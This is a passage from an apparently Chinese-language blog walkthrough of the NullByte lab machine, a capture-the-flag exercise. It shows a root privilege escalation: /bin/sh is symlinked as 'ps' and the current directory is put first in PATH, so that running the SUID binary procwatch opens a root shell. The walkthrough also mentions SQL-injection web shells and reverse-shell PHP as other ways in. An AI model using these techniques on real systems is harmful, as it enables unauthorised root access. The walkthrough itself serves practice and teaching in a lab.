我必须要搞定这一坨混乱。不知道在说啥,执行一下这个suid文件,发现还执行了两个命令,sh应该和shell相关,也就是/bin/sh,ps和进程相关,这个时候我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于他具有suid权限,就可以以root身份运行,从而触发提权这里提权的方法呢就是利用软链接+修改环境变量的方式进行提权完整命令如下ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps # 将/bin/sh链接到 ps 这个命令,这样我们执行当前目录下面的 ps 命令(文件)的时候,就会调用/bin/sh创建一个shell ramses@NullByte:/var/www/backup$ ls # 此时就发现多了一个文件ps procwatch ps readme.txt ramses@NullByte:/var/www/backup$ export PATH=.:$PATH # 添加当前目录为环境变量,这个.代表当前目录,放在前面表示环境变量会以前后顺序,依次读取环境变量,放在前面是为了提高当前目录为环境变量的优先级 ramses@NullByte:/var/www/backup$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ ./procwatch # 此时执行这个文件,就能创建一个shell,而它是suid文件。执行它的时候是以root的身份执行的,所以创建的shell就是root身份的shell。 # whoami root # cd /root # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mAIl at xly0n@sigAInt.org attach the walk and proof.txt If sigAInt.org is down you may mAIl at nbsly0n@gmAIl.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK-----至此提权成功,这个靶机有很多种可以getshell的方法,比如利用SQL注入写入一句话木马,读取mysql配置文件获取密码信息,然后登录phpmyadmin,也能获取ramses用户的密码信息,当然写可以不写一句话木马,直接写反弹shell的php也可以,详细请参考如下文章,写的非常棒https://blog.csdn.net/Bossfrank/article/details/131880155往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,603 阅读
0 评论
0 点赞
1
...
18
19
20
...
35